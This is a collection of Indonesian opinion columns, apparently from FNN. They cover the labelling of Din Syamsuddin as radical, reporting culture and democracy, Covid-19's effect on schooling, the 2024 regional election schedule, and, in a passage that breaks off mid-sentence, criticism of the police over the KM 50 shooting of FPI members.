by Shamsi Ali Doha FNN - Seringkali kita dengarkan istilah poltisasi agama. Tentu yang dimaksud adalah penggunaan atau pelabelan agama untuk kepentingan-kepentingan politik. Dengan kata lain agama dijadikan obyek demi meraih kepentingan politik. Agama diserert-seret, dibawa-bawa untuk hal-ihwal yang berkaitan dengan politik semata. Ternyata dalam dunia, dimana politik menjadi penentu dominan dalam kehidupan publik, bukan hanya agama yang dipolitisir. Tetapi hampir segala aspek kehidupan publik yang berkaitan dengan kehidupan berbangsa diwarnai oleh terpaan angin politik. Dari soalbudaya, pendidikan, bahkan ekonomi tidak bisa dilepaskan dari rasa politik alias politisasi. Orang-orang mendukung atau menentang sesuatu bukan karena memang hal itu baik atau sebaliknya tidak baik. Tetapi karena secara politik tidak sejalan dengan rasanya (kepentingannya). Bertentangan dengan keinginan dan kepentingan politik sesaat. Bentuk busana didukung, bahkan dipakai bukan karena “murni” (genuine) suka atau senang dengan busana itu. Tetapi karena busana itu pada saat tertentu mendukung kepentingan politiknya. Lihatlah larisnya baju-baju koko dan peci di musim-musim politik. Atau wanita-wanita politisi yang selama ini dengan terbuka menentang “syariah” ikut memakai jilbab di musim-musim politik. Bahkan istilah-istilah syariah seperti halal dan wakaf juga menjadi laris ketika hal itu dapat mendukung kepentingan atau imej politik tertentu. Padahal secara umum syariah oleh orang-orang yang sama dianggap berbahaya, bahkan anti Pancasila, anti UUD dan anti NKRI. Kini kecenderungan itu merambah ke ranah konsep karakter orang atau sekelompok orang. Seseorang dengan mudah dianggap intoleran hanya karena yang bersangkutan tidak sejalan dengan posisi pilitiknya. Demikian sebaliknya. Betapa prilaku kasar dan intoleransi seseorang atau sekolompok orang dipertontonkan tanpa malu. Tetapi tetap saja dibiarkan, bahkan seolah dipelihara dan dilindungi. Akibatnya konsep toleransi terasa aneh. Toleransi yang pernah saya sebut dengan toleransi memihak. Toleransi yang dipasung untuk mendukung kepentingan politik tertentu. Politisasi Radikalisme dan Moderasi Kini yang juga mengkhawatirkan adalah politisasi kata radikal dan intoleransi. Juga sebaliknya dengan kata moderat. Seseorang akan mudah dilabeli dengan kata radikal hanya karena berseberangan secara kepentingan politik. Sebaliknya seseorang atau sekolompok orang dengan enteng dilabeli moderat karena sejalan secara kepentingan politik. Masalahnya kemudian label radikal dan intoleransi ini tidak berakhir pada tataran persepsi atau wacana semata. Tetapi boleh jadi membawa kepada perangkap keamanan atau ancaman stabilitasi negara. Pada akhirnya orang yang dipaksakan untuk diposisikan sebagai posisi radikal dan intoleransi itu dianggap membahayakan negara atau pemerintah. Saya kembali teringat peristiwa 9/11 di Amerika Serikat. Dimana saat itu kata radikal atau ekstrim menjadi kata yang paling populer berdampingan dengan kata “terror”. Sehingga peperangan apa yang disebut “terror” ketika itu tidak bisa dilepaskan dari peperangan kepada “kaum radikal”. Belakangan opini tersebut semakin tergiring menuju kepada satu kelompok. Yaitu orang-orang Islam yang tidak setuju dengan kebijakan global Amerika dan sekutunya di berbagai belahan dunia, khususnya di Timur Tengah. Tetapi oleh pihak-pihak tertentu penggiringan opini semakin mengarah kepada Umat Islam. Pada akhirnya apa yang disebut sebagai peperangan kepada “terror” atau “war on terror” dimaknai sebagai peperangan kepada Umat Islam. Inilah sesungguhnya dikemudian hari yang diterjemahkan oleh Donald Trump dalam sebuah kebijakan “Muslim Ban” atau pelarangan orang Islam untuk masuk Amerika. Dimulai dari tujuh negara. Tetapi tujuannya mengarah kepada pelarangan secara totalitàs kepada orang Islam untuk masuk Amerika. Pada sisi lain, sejak Bush hingga Trump, ada pihak-pihak tertentu yang kemudian dilabeli “Muslim moderate”. Pelabelan itu bukan berdasar pada substansi moderasi itu sendiri. Karena beberapa pihak yang dianggap moderate justeru secara ideologi cukup kontras dengan nilai-nilai moderasi. Di zaman GW Bush misalnya, Saudi Arabia dijuluki sebagai negara/bangsa yang moderate. Saya masih ingat bagaimana Pangeran Bandar Bin Sultan, Dubes Saudi untuk AS ketika itu begitu akrab dengan Presiden Bush. Padahal dari sekian yang dituduh sebagai pelaku serangan 9/11 mayoritasnya berkebangsaan Saudi Arabia. Yang ingin saya sampaikan disini adalah bahwa ternyata penilaian radikal, intoleran dan/atau moderat itu banyak dan ditentukan oleh kepentingan, termasuk kepentingan politik ketika itu. Dan pada akhirnya nilai itu terasa kehilangan esensinya. Hari-hari ini isu radikal kembali ramai dibicarakan. Prof. Dr. Din Syamsuddin MA, tokoh nasional dan internasional, mantan Ketua Umum Muhammadiyah dua periode, Presiden Kehormatan Agama-Agama Dunia untuk perdamaian (World Religion for Peace) dan seabrek posisi nasional maupun internasional konon dilaporkan oleh apa yang disebut Getakan Anti Radikalisme (GAR) alumni ITB. Saya pribadi sangat terkejut dan kecewa. Karena saya yakin, siapa saja yang memiliki logika sehat akan melihat Pak Din Syamsudin tidak saja sebagai tokoh nasional dan internasional yang moderat. Tetapi juga beliau berada di jalan perjuangan untuk membangun Moderasi (advancing moderation) dan perdamaian dunia (world peace). Pak Din Syamsudin sendiri pernah menjadi Utusan Khusus Presiden Joko Widodo untuk Perdamaian dan Dialog antar Agama dan Peradaban. Hanya saja beliau meninggalkan posisi itu karena ada sesuatu yang tidak sejalan dengan visi beliau sebagai tokoh agama dan perdamaian. Apakah begitu mudah kemudian seorang Din Syamsuddin dituduh sebagai radikal hanya karena tidak setuju atau tidak sejalan dengan keadaan atau kebijakan politik yang ada? Begitu mudah mengingkari perjalanan panjang dan bersejarah beliau dalam membangun moderasi dan perdamaian? Disinilah urgensinya untuk kita saling mengingatkan. Kiranya masanya perlu menghentikan politisasi istilah radikalisme atau moderasi. Selain hanya menambah keresahan dalam masyarakat, juga akan semakin mempertajam kecenderungan karakter “we vs them” (kami lawan mereka). Kecenderungan memecah belah atau “divide at empire” ini pastinya hanya akan semakin melemahkan Umat dan bangsa itu sendiri. Karena sesungguhnya Umat dan tokoh-tokohnyalah, termasuk pak Din Syamsudin, yang menjadi tulang punggung ketahanan bangsa. Karenanya serangan kepada tokoh-tokoh agama seperti pak Din Syamsudin ini adalah bagian dari upaya pelemahan Umat dan bangsa. Kecurigaan-kecurigaan itu boleh saja terbangun. Salah satunya, jangan-jangan memang ada “hidden power” yang bermain dan bertepuk di balik layar. Semoga tidak! Penulis adalah Presiden Nusantara Foundation.

Budaya Lapor Dan Demokrasi Kita

by Tamsil Linrung Jakarta FNN - Gerakan Anti Radikalisme (GAR) alumni Institut Teknologi Bandung (ITB) melaporkan Prof. Dr. Din Syamsuddin MA ke Komisi Aparatur Negara (KASN) dan Badan Kepegawaian Negara (BKN). Tuduhannya, dugaan pelanggaran kode etik Pegawai Negeri Sipil karena berpolitik. KASN menindaklanjuti laporan itu dan melimpahkan kepada Satuan Tugas Penanganan Radikalisme ASN. Shinta Madesari dari GAR mengatakan, KASN telah menyatakan Din Syamsuddin melakukan tindakan radikalisme (TEMPO, 14 Februari)). Lalu, tanggapan pun muncul dari banyak pihak. Banyak yang menyayangkan isu radikalisme dikaitkan dengan sosok Din Syamsuddin. Tak kurang dari organisasi sekelas Pengurus Besar Nahdatul Ulama ikut berkomentar. Muhammadiyah, yang punya sejarah panjang dengan Din Syamsuddin, telah lebih dulu bicara. Reaksi personal juga ditunjukkan sejumlah tokoh. Sebut saja Wakil Ketua MPR Hidayat Nur Wahid hingga Guru Besar UIN Jakarta Prof. Azyumardi Azra. Media sosial berkecamuk. Netizen, seperti biasa, kembali perang narasi. Laporan GAR alumni ITB tersebut pada akhirnya menjadi sumber kegaduhan baru. Gaduh itu muncul karena laporan ini dipandang bertentangan dengan karakter dan rekam jejak Prof. Din Syamsudin. Memori publik rupanya lekat dengan sosok Prefesor yang intelek dan teduh. Jauh dari kesan radikal-radokul. Selama ini, publik memang mengenal Prof. Din Syamsudin sebagai tokoh lintas agama, yang berpikiran moderat dan konsisten mengampanyekan moderasi Islam. Moderasi Islam adalah salah satu inti ajaran agama Islam yang mengedepankan jalan pertengahan. Tidak sulit mengaca karakter itu pada sejarah perjalanan hidup Prof Din Syamsudin. Presiden Jokowi sendiri pernah memandatkan Din sebagai utusan khusus Presiden untuk dialog kerjasama antar-peradaban yang melaksanakan Konsultasi Tingkat Tinggi di Bogor pada 2019. Rekam jejak lainnya dengan mudah ditemukan di mesin pencari google atau cukup mengunjungi laman Wikipedia. Jadi, wajar bila ada reaksi publik dalam menentang pelaporan GAR alumni ITB beraneka ragam. Ada yang menanggapi dengan pernyataan lembut, ada pula yang berkomentar keras. Ketua DPP Ikatan Mahasiswa Muhammdiyah misalnya, mengatakan bahwa pelaporan tersebut adalah bentuk kebencian yang tidak berdasar, gegabah, dan tidak punya data yang kokoh. Penentangan publik terhadap pelaporan Prof. Din Syamsudin sekaligus menunjukan sosok cendekiawan Islam ini adalah aset bangsa. Pada level inilah pencapaian Prof. Din Syamsuddin harus diakui sebagai kekayaan. Masyarakat agaknya punya "rasa memiliki" terhadap dirinya. Hak Warga Negara Melaporkan seseorang adalah hak semua warga negara. Namun, laporan pelanggaran kode etik yang kemudian ditangani dalam satuan tugas radikalisme menggiring persepsi bahwa Prof Din Syamsudin radikal-radikul. Namun, belakangan Pemerintah mengaku tidak akan menindaklanjutinya. Pengakuan ini disampaikan Menteri Koordinator Politik Hukum dan HAM Mahfud MD. Mahfud malah balik menegaskan, sosok Prof. Din Syamsudin sangat bertolak belakang dengan yang dituduhkan GAR alumni ITB. "Pak Din itu pengusung moderasi beragama (washatiyyah Islam) yang juga diusung oleh pemerintah", begitu kata Mahfud. Namun, ombak kegaduhan terlanjur berkecamuk. Gelombangnya sulit ditebak akan terdorong angin hingga ke mana. Pemuda Muhammadiyah mengatakan akan menempuh langkah hukum apabila GAR ITB tidak mencabut laporan dan meminta maaf. Artinya, ada kemungkinan kasus ini tetap berlanjut, meski laporan tidak ditindaklanjuti Pemerintah. Mekanisme hukum memang memungkinkan pelapor menjadi terlapor. Bila laporan terbukti tidak berdasar, sehingga merugikan nama baik terlapor, pihak yang merasa dirugikan dapat melaporkan balik. Umumnya, argumentasi yang digunakan adalah dalil pencemaran nama baik, dan atau perbuatan tidak menyenangkan. Aturan hukumnya nyata ada. Menjadi Titik Balik Hukum biarlah tetap menjadi persoalan hukum. Pertanyaan penting bagi kita sebagai bangsa, apakah kita akan membiarkan fenomena lapor-melapor terus menerus mengusik hari-hari kita? Berapa banyak laporan yang sebenarnya dimotivasi sentimen kebencian, politik, dan lain-lain? Lantas, berapa banyak energi bangsa yang dihabiskan untuk sesuatu yang sebenarnya tidak begitu penting? Pelaporan GAR alumni ITB terhadap Prof. Din Syamsudin tidak boleh menguap begitu saja. Kejaian ini harus menjadi pembelajaran kita sebagai bangsa. Peristiwa ini harus kita jadikan titik balik menata demokrasi dan kehidupan sosial yang lebih baik. Jangan acak-kadit seperti ini. Sebelum kasus GAR alumni ITB meledak, dalam konteks berbeda, Presiden Jokowi meminta masyarakat lebih aktif menyampaikan kritik terhadap kinerja Pemerintah. Namun, tak berselang lama, mantan Wakil Presiden bertanya-tanya, bagaimana caranya mengkritik pemerintah tanpa dipanggil polisi? Tidak sulit menebak arah pertanyaan Pak Jusuf Kalla itu. Pertanyaan ini agaknya lebih berupa satire terhadap kehidupan berdemokrasi kita saat ini. Sedikit-sedikit lapor, sedikit-sedikit lapor, begitu kalimat yang sering terdengar. Mulai dari obrolan warung kopi hingga perbincangan di linimasa media sosial. Kalimat ini sekaligus merefleksikan kegundahan hati sebagian masarakat. Perbedaan pendapat adalah sebuah keniscayaan dalam berdemokrasi. Penghormatan terhadap perbedaan pendapat merupakan roh bagi gerak dinamis demokrasi itu sendiri. Kita boleh berbeda pendapat terhadap suatu persoalan bangsa. Namun kita sepakat untuk tidak sependapat. Artinya, perbedaan pendapat tetap dihargai sebagai sebuah kewajaran. Pun, Bhineka Tunggal Ika harusnya kita pahami dengan utuh. Tidak semata-mata hanya dipakai untuk menyamakan visi besar kita dalam memandang perbedaan. Tetapi juga untuk menumbuhkan perbedaan sebagai sebuah kekuatan dalam berbangsa. Konteksnya tidak sebatas menjaga kemajemukan warga bangsa, tetapi juga menjaga kemerdekaan pikiran. Kalau hanya sekadar berbeda lantas menjadi bahan pelaporan, tentu tindakan ini justru berbahaya bagi demokrasi. Kita berharap, negara menjamin kemerdekaan pikiran sebagai dialektika yang sehat. Tentu sepanjang tidak melawan aturan. Penulis adalah Anggota Komite III DPD RI.

Covid-19 Memicu Great Reset Dunia Pendidikan

by Tamsil Linrung Jakarta FNN - Dalam sejarah umat manusia, belum ada peristiwa yang bisa memicu perubahan dalam berbagai spektrum kehidupan secara radika, kecuali pandemi Covid-19. Penularan virus mematikan itu, telah memaksa kita melakukan banyak penyesuaian dan adaptasi. Meninggalkan sesuatu yang lama. Bahkan mengadopsi hal-hal baru. Bagaimana misalnya, kita yang terbiasa bekerja harus datang ke kantor, setor muka, dan mengisi absensi, kini beralih dengan bekerja dari rumah (WFH). Demikian juga di sektor layanan medis, konsultasi dengan dokter secara jarak jauh (telemedis) telah menjadi tren baru. Perubahan pola dan kebiasaan, juga terjadi di sektor pendidikan. Sekolah jarak jauh, pembelajaran daring, teleedukasi, virtual learning, webinar. Itulah berbagai jenis kegiatan pendidikan yang baru kita kenal dalam satu tahun terakhir. Namun diadopsi secara masif. Semua perubahan perilaku, pola dan kebiasaan yang dipicu oleh pandemi Covid-19 itu terakumulasi dalam satu gelombang great reset. Istilah great reset ini, diintroduksi oleh World Economic Forum yang bermarkas di Swiss. Perubahan tatanan secara besar-besaran dan terjadi sangat mendasar. Covid-19, telah memicu great reset di sektor pendidikan. Great reset, semestinya memacu kita bergerak cepat. Beradaptasi secara gesit. Sehingga tidak ketinggalan dan terlindas oleh gemuruh pandemi Covid-19. Dalam hal ini, negara semestinya telah membuat rancangan bangun arah bangsa di era great reset. Namun apa yang terjadi di Indonesia setelah setahun Covid-19. Saat guru dan murid di Indonesia masih harus tatap muka secara virtual, di daerah asal Virus Covid 19 di Wuhan Cina sana, sekolah telah dimulai sejak Agustus 2020. Di provinsi lain Negeri China, sekolah tatap muka bahkan telah dimulai jauh sebelum Agustus. Begitu juga dengan Jepang, Norwegia, Australia, dan beberapa negara lainnya. Setahun berlalu, kita masih jalan di tempat. Disebut begitu, karena belum ada titik terang sekolah tatap muka bakal dimulai kapan. Target atau agenda dari Departemen pendidikan pun belum terdengar lagi. Sebelumnya, sekolah diagendakan buka Januari 2021 lalu. Namun rencana itu dianulir. Pembatalan itu harus dilakukan karena Covid-19 tak kunjung dapat terkendali. Belakangan, kasus positif malah semakin mencemaskan. Kementerian Kesehatan mensinyalir tahun ini jumlah kasus Covid-19 bakal mencapai 1,7 juta. Sementara mantan Wakil Presiden RI HM Jusuf Kalla memprediksi lebih tinggi lagi. Menurutnya, angka kasus covid-19 dapat menembus dua juta kasus pada April 2021. Ironisnya, bila kita mengamati ribut-ribut pembicaraan di ruang publik. Isu yang sering diperdebatkan justru soal-soal di luar urusan Covid-19. Kalau bukan politik, ya, sentimen sosial-keagamaan. Tengok misalnya, isu kudeta Partai Demokrat atau kicauan rasis seorang netizen yang menghangat baru-baru ini. Isu tentang Covid-19 sendiri mulai jarang menjadi headline news. Begitu pula dengan perbincangan tentang dunia pendidikan di tengah pandemi. Isu pendidikan sempat menjadi perbincangan hangat publik. Namun, tema yang diperdebatkan justru soal aturan pemakaian jilbab di sekolah. Sungguh, energi bangsa ini banyak terkuras pada hal-hal yang seharusnya tidak perlu. Dalam konteks membangun kewaspadaan terhadap virus, soal-soal itu justru berpotensi menjauhkan alam bawah sadar kita kepada gurita pandemi Covid-19. Seringnya fokus perhatian terhadap pandemi ditelikung oleh isu-isu lain yang menguat, barangkali tak banyak di antara kita yang menyadari bahwa negeri ini telah menorehkan tiga rekor buruk Covid-19 dalam dua bulan terakhir. Sebagai negara pertama di Asia Tenggara yang menembus satu juta kasus. Sebagai negara nomor satu di Asia dengan tingkat kematian akibat Covid-19 terbanyak. Sebagai negara nomor satu di Asia dan nomor tiga di dunia dengan jumlah dokter yang wafat terbanyak. Tapi sudahlah, sembari memperketat protokol kesehatan diri dan keluarga, kita percayakan saja penanggulangan Covid-19 kepada Pemerintah dan Satgas Penanganan Covid-19 serta aparat terkait lainnya. Kita doakan mereka yang diamanahi mengembang tugas mulia itu dapat segera merumuskan formulasi penanganan Covid-19 yang tepat dan efektif. Kendala dan Dampak Kecendrungan perkembangan Covid-19 membawa kita pada kesimpulan, bahwa sekolah virtual masih akan berlangsung lama. Kondisi ini sangat disayangkan. Karena proses belajar-mengajar daring nyatanya tidak efektif, atau setidaknya belum menemukan titik ideal. Itulah akibat keterlamabatan pemerintah memberikan respons secara ilmiah terhadap pandemi ini. Disebut demikian, karena pertama, survei Komisi Perlindungan Anak Indonesia (KPAI) menemukan, sebanyak 43 persen pelajar mengeluhkan kuota, sebanyak 29 persen tidak memiliki alat seperti telepon pintar atau komputer, dan yang tidak terkendala oleh keduanya hanya 16 persen. Survei itu dirilis Agustus 2020. Artinya, enam bulan pertama pelaksanaan sekolah virtual, sebagian besar pelajar masih terkendala teknis. Pertanyaannya, jika kendalanya saja demikian, bagaimana kita akan mendiskusikan efektivitas belajar-mengajar virtual? Kedua, survei KPAI yang dirilis 3 Januari 2021 menemukan, sebanyak 57 persen siswa mengaku kesulitan menerima materi pelajaran melalui virtual. Sebanyak 87 persen siswa menginginkan pembelajaran tatap muka secara langsung. Kesulitan proses belajar mengajar semakin dirasakan ketika pelajaran praktikum tidak mungkin dilakukan virtual. Sejumlah kendala di atas menunjukkan problem mendasar dalam dunia pendidikan kita di masa pandemi. Belum lagi berbicara dampak turunan lainnya. Dampak derivatif dimaksud adalah, pertama, belajar mengajar virtual secara tak langsung mengarahkan keakraban anak remaja dengan gadget. Mereka dirumahkan, jauh dari pergaulan sosial sesungguhnya. Alhasil media sosial berpotensi besar menjadi alternatif komunikasi sekaligus ruang sosial baru yang menyenangkan. Facebook, Twitter, Instagram, bukan hal baru bagi pelajar saat ini. Di beranda media sosial, anak-anak bisa menemukan informasi sarat kebajikan. Tetapi dengan mudah pula tersodori bacaan penuh hasutan. Fakta seringkali beradu pengaruh dengan hoax, ditambah sampah kata-kata dan kata-kata sampah yang tak henti lalu-lalang di linimasa media sosial. Kedua, potensi lost generation atau generasi yang hilang. Istilah lost generation muncul kali pertama untuk menggambarkan situasi yang terjadi setelah pasca Perang Dunia I di tahun 1920 silam. Dalam konteks dunia tanpa perang, generasi bangsa dapat "hilang" bila pendidikan tercerabut dari diri generasi bangsa, termasuk bila pembelajaran berkualitas kita biarkan terus menerus terjadi tanpa merumuskan konsep lanjutan yang lebih efektif. Lost generation harus mendapat perhatian secara serius. Terlebih karena lost generation tidak semata faktor kegagalan pencapaian pembelajaran yang berkualitas, tetapi juga bersinggungan dengan pengaruh faktor ekonomi. Kita tahu, situasi ekonomi bangsa sedang sulit. Pandemi telah menyebabkan banyak orang tua siswa yang kehilangan sumber pendapatan Desember 2020, Badan PBB untuk anak-anak (UNICEF) telah memberikan indikasi kuat adanya potensi itu. UNICEF menemukan, sebanyak 938 anak Indonesia putus sekolah karena kendala biaya sebagai imbas kemerosotan kemampuan ekonomi akibat pandemi. Sebanyak 75 persen di antaranya tidak bisa lagi melanjutkan pendidikan secara permanen karena orang tua putus pekerjaan. Problem pandemi bagi dunia pendidikan memang cukup kompleks. Pasalnya, akar persoalan tidak murni sebatas relasi dunia pendidikan dengan situasi wabah. Keadaan ekonomi nasional, kehidupan sosial bangsa, dan bahkan keberpihakan politik atau kebijakan negara menjadi faktor penentu pula. Hal lain, sistem pendidikan nasional kita tidak dibangun untuk mengantisipasi situasi wabah, khususnya pandemi yang berkepanjangan seperti saat ini. Akibatnya, konsep penyesuaian metode belajar-mengajar pada keadaan darurat dirumuskan bersamaan dengan situasi darurat itu sendiri. Langkah ini tentu membuka peluang kekurangan di sana-sini. Peran Pemuda Dalam situasi yang demikian kompleks itu, bagaimana peran pemuda dan remaja? Diskusi kita hari ini adalah contoh terbaik kreativitas pemuda dan remaja yang tergabung dalam Himpunan Pelajar Muslim Indonesia (HILMI). Kegiatan HILMI menjadi bukti bahwa anak muda dapat berpartisipasi aktif mendukung upaya penanggulangan pandemi dan krisis akibat pandemi secara intelek melalui diskusi. Ini bagus karena diskusi adalah tradisi intelektual yang harus terus berkecamuk. Peran pemuda sejatinya memang harus dominan dalam lalu-lalang gagasan. Dalam konteks pandemi, partisipasi kaum muda juga dibutuhkan dalam menyebarkan informasi akurat mengenai Covid-19, mengatasi mitos dan stigma yang berkembang, mengawasi hoax, dan seterusnya. Perubahan jaman telah mengantar kita kepada revolusi industry 4.0. Penguasaan kaum muda pada penggunaan teknologi informasi seperti internet, dapat dijadikan pintu masuk menemukan cara-cara baru dan inovatif untuk berkomunikasi dengan pemerintah, media massa, lembaga legislatif, dan lain-lain. Gunakan saluran itu menyampaikan saran dan kritik secara elegan. Juga, maksimalkan media sosial. Kita tahu, media sosial dijejali dengan akun-akun antagonis. Sejukkan dan warnailah dengan ghirah yang menggelora. Saling mengingatkan dalam situasi pandemi adalah langkah nyata pemuda membantu negara. Saya menaruh harapan besar kepada HILMI. Para pelajar yang tergabung dalam organisasi ini semoga dapat mengambil kunci harakah yang berbeda dari pemuda lain. Dua kata kunci dalam akronim HILMI harus dijiwai dengan serius, "pelajar" dan "muslim". Resapi dan camkan maknanya di sepanjang jalan perjuangan menuju cita-cita. Bahwa hari ini situasi pandemi mengharuskan pelajar menempuh pendidikan secara virtual, itu adalah tantangan yang harus dijawab. Lawan rasa malas, berdiskusilah guna membantu guru menemukan ide terbaik mendongrak efektivitas proses pembelajaran daring. Pada akhirnya, pupuk bagi mekarnya pelajar adalah pendidik. Bagaimanapun, keberhasilan proses belajar-mengajar virtual akan sangat bergantung pada kreativitas dan kemampuan guru dalam berinovasi dan berimprovisasi. Tentu termasuk membangun komunikasi dengan orang tua siswa, misalnya melalui Whatsapp grup atau aplikasi lainnya. Di tengah situasi yang serba virtual ini, menjadi penting bagi para pegiat pendidikan memikirkan langah-langkah alternatif yang dipandang dapat mengatrol efektivitas belajar-mengajar daring. Sifatnya bisa berupa terobosan pribadi guru atau kebijakan internal sekolah. Jika pun ada yang ingin diusulkan dan diperjuangkan di tingkat nasional, saya selaku Anggota Komite III DPD RI siap mendukung. Penulis adalah Anggota Komite III DPD RI.

Gokil Abis Kalau Pilkada Serentak 2024

by Nanik S. Deyang Madiun FNN - Apapun alasan yang dijadikan pemerintah untuk ngotot tidak mau merevisi UU Pemilu, sehingga tetap menunda Pemilihan Kepala Daerah (Pilkada) tahun 2022 dan 2023, menimbulkan tanda tanya besar. Bila sampai Pilkada serentak 2024, nni benar-benar ngaco an gokil abis. Pemerintah maunya Pilkada pada tahun 2024, bareng atau serentak dengan Pemilihan Presiden Pilpres dan Pemilihan Legislatif (Pileg). Untuk remeralisasikan rencana itu, diketahui pimpinan negara sampai harus turun sendiri melobi ketua-ketua partai. Anehnya, DPR yang tadinya paling bersemangat untuk mengajukan revisi, malah sekarang terkesan membeo. Terakhir mayoritas DPR mengikuti saja apa kemauan pemerintah, kecuali Partai Demokrat yang masih tetap menginginkan adanya revisi UU Pemilu, sehingga Pilkada bisa dilakukan di tahun 2022 dan 2023. Pilkada yang sesuai dengan berakhirnya masa jabatan para Kepala Daerah. Salah satu yang masa jabatannya habis itu adalah Gubernur DKI. Meski saya bisa mengira-ngira apa dibalik semua itu, tetapi saya tutup mata saja. Pura -pura nggak tau sajalah. Saya hanya akan menulis kalau betapa powefullnya Pemerintah cq Kementerian Dalam Negeri (Kemendagri). Bayangkan Kepala daerah yang berakhir masa jabatannya pada tahun 2022 dan 2023 itu sebanyak 272 ( Gubernur, Bupati dan Walikota). Artinya selama dua sampai tiga tahun 272 kepala daerah akan dijabat oleh penjabat Gubernur, Bupati dan Walikota. Siapa yang bakal menjadipenjabat Gubernur, Bupati dan Walikota tersebut? Ya PNS yang akan ditunjuk oleh Kemendgri. Ini ngaco dan jelas gokil abis. Mungkin baru kali ini dalam sejarah Indonesia, sejak merdeka, ada 272 Gubernur, Bupati dan Walikota yang dijabat oleh penjabat dalam jangka waktu sampai bertahun -tahun. Karena dalam UU administrasi, apa yang boleh dan tidak boleh dilakukan para penjabat tersebut, juga masih sangat "abu-abu". Makanya, bisa dibayangkan betapa kisruhnya tata kelola suatu pemerintahan daerah, bila nanti penjabat tersebut mengambil kebijakan-kebijakan yang justru kontra produktif dari kepala daerah yang masa jabatannya habis. Peluang bagi terjadinya penyimpangan atau korupsi juga sangat besar, bahkan terbuka lebar. Karena penjabat Gubernur, Bupati dan Walikoa itu punya beban moral kepada rakyat. Mereka bisa membuat kebijakan sesuka hati. Yang penting bagi-bagi proyek dengan DPRD setempat. Kepentingan rakyat bergeser menjadi kepentingan penjabat dengan DPRD semata Persoalkan Legitimasi Pemilu Direktur Eksekutif Indikator Politik Indonesia Burhanuddin Muhtadi mengatakan, akan ada sekitar 272 pelaksana tugas, penjabat, atau penjabat sementara kepala daerah jika pilkada digelar serentak pada 2024 nanti. Para kepala daerah sementara itu akan ditunjuk oleh Presiden (untuk gubernur) dan Menteri Dalam Negeri (untuk Bupati dan Walikota). Menurut Burhanuddin, jika benar terjadi, maka ini menjadi masalah dari sisi legitimasi dan demokrasi. Sebab Para plt dan penjabat kepala daerah itu bukan hasil pilihan rakyat secara langsung. Kewenangan mereka pun terbatas dalam menentukan kebijakan. Selain itu, lanjut Burhanuddin, keberadaan plt dan penjabat kepala daerah dalam pilkada ini memiliki implikasi ke Pemilu 2024, baik pemilihan legislatif maupun pemilihan presiden. Daerah yang akan habis masa jabatan di 2022 dan 2023 ialah para kepala daerah di Jawa dan Sumatera. Seperti Provinsi DKI Jakarta, Banten, Jawa Barat, Jawa Tengah, Jawa Timur, Sumatera Utara, Lampung, Sumatera Selatan, hingga Sulawesi Selatan. Daerah-daerah itu memiliki basis populasi pemilih yang besar. "Kalau misalnya muncul dugaan abuse of power untuk kepentingan 2024, baik Pileg maupun Pilpres, karena penggunaan plt atau penjabat, saya khawatir legitimasi hasil Pemilu 2024 dipersoalkan," kata Burhanuddin. Penulis adalah Wartawan Senior.

Pembunuhan KM 50, Kapolri & Kapolda Metro Jaya, Sebaiknya Mundurlah

PORTAL berita Divisi Humas Polri tanggal 11/2/2012 menyajikan berita menarik. Bareskrim Polri masih mempelajari temuan Komisi Nasional Hak Asasi Manusia (Komnas HAM) terkait investigasi peristiwa di kilometer 50 tol Jakarta-Cikampek (Japek) yang menewaskan enam anggota laskar Front Pembela Islam (FPI). Saat ini berkas temuan masih dipelajari oleh penyidik Bareskrim Polri. Karo Penmas Hamas Polri, Brigjen Rusdi Hartono menyebut, terdapat dua hal yang akan jadi fokus Polri terkait hasil investigasi dari Komnas HAM. Yang pertama, kejadian penyerangan terhadap anggota Polri yang sedang bertugas. Yang kedua, permasalahan unlawfull killing. “Yang diterima Polri dalam hal ini adalah hasil investigasi dari Komnas HAM yang berjumlah lebih kurang 60 halaman,” papar Brigjen Rusdi di Mabes Polri, Jakarta, Kamis (11/2/2021). Rusdi juga mengemukakan bahwa pihaknya akan menindaklanjuti barang bukti yang sampai saat ini masih berada di Komnas HAM. Penyidik akan berkoordinasi dengan Komnas HAM untuk dapat meminta barang bukti. “Karena barang bukti ini menjadi sesuatu yang penting bagi Polri untuk dapat menindaklanjuti daripada hasil investigasi Komnas HAM yang baru diterima penyidik hari Jumat (29/1) yang lalu. Penyidik sedang mempelajari dan akan dilaksanakan rapat pembahasan besok antara penyidik dengan pengawasan internal,” ujar Direktur Tindak Pidana Umum Bareskrim Polri Brigjen Andi Rian, Selasa (2/2/202 Sudahlah Pak Argo, dan Pak Rusdi, agar tidak dinilai sedang melucu dan membanyol, sebaiknya berhenti bicara sikap Polri dalam kasus ini. Masa sudah begini lama masih terus pelajari. Yang benar aja deh. Sikap Polri tidak ditentukan oleh, maaf bapak berdua. Sikap Polri, kami yakin sepenuhnya ditentukan oleh Kapolri. Yang perlu bapak berdua lakukan adalah beri saran kepada Kapolri untuk segera berkordinasi dengan Presiden Jokowi. Kasus ini, kami nilai dirumitkan oleh lilitan politik. Orang-orang berakal sehat, dan bernurani beres, kami yakin akan menertawakan argumentasi yang menyatakan ada kerumitan teknis penyidikan kasus ini. Pak Argo dan Pak Rusdi, apa polisi yang menembak, sebut saja empat laskar itu, apa sudah berubah menjadi hantu? Pasti tidak kan? Jadi, apa susahnya menyidik? Sudahlah, berhenti bicara kasus. Serahkan soal ini sepenuhnya ke Pak Kapolri. Biarkan dia yang bicara. Toh penyidik-penyidik dibawah kepemimpinan Sigit saat jadi Kabarekskrim, telah lebih dahulu menyidik kasus ini. Tidakkah penyelidikan itu terlihat memiliki kesesuaian signifikan dengan pernyataan Irjen Fadil Imran, Kapolda Metro Jaya yang disampaikan dalam konfrensi Pers? Penyelidikan atau penyidikan yang berlangsung saat Sigit jadi Kabareskrim telah sampai melakukan rerkonstruksi. Kala itu penyidik telah memeriksa 83 orang saksi. Apakah itu hebat atau konyol yang sekonyolnya? Rasanya semut hitam di dinding-dinding bagunan rest area akan geleng-geleng kepala keheranan menilai penyelidikan itu. Semut pasti tak mampu bilang respon Kabarerskrim kala itu ngawur. Semut juga pasti tak bilang respon Sigit saat ini lebih ngawur lagi. Mengapa lambat menyidik? Jangan sodorkan kendala teknis. Sebab nanti cacing yang mendadak bergoyang mengolok-olok anda. Tunggu barang bukti dari Komnas HAM? Apakah semua barang bukti ditaruh di Komnas Ham? Masuk akalkah ini? Tidakkah laporan investigasi Komnas Ham disusun setelah memeriksa sebagian barang bukti yang ada di Polda Metro Jaya? Dimana Komnas HAM memeriksa mobil Avanza, Xenia, towing, dan landcruiser? Apakah dii Polda Metro atau di gunung lawu? Apa pakaian yang dikenakan laskar ketika terbunuh itu ditaruh di Komnas 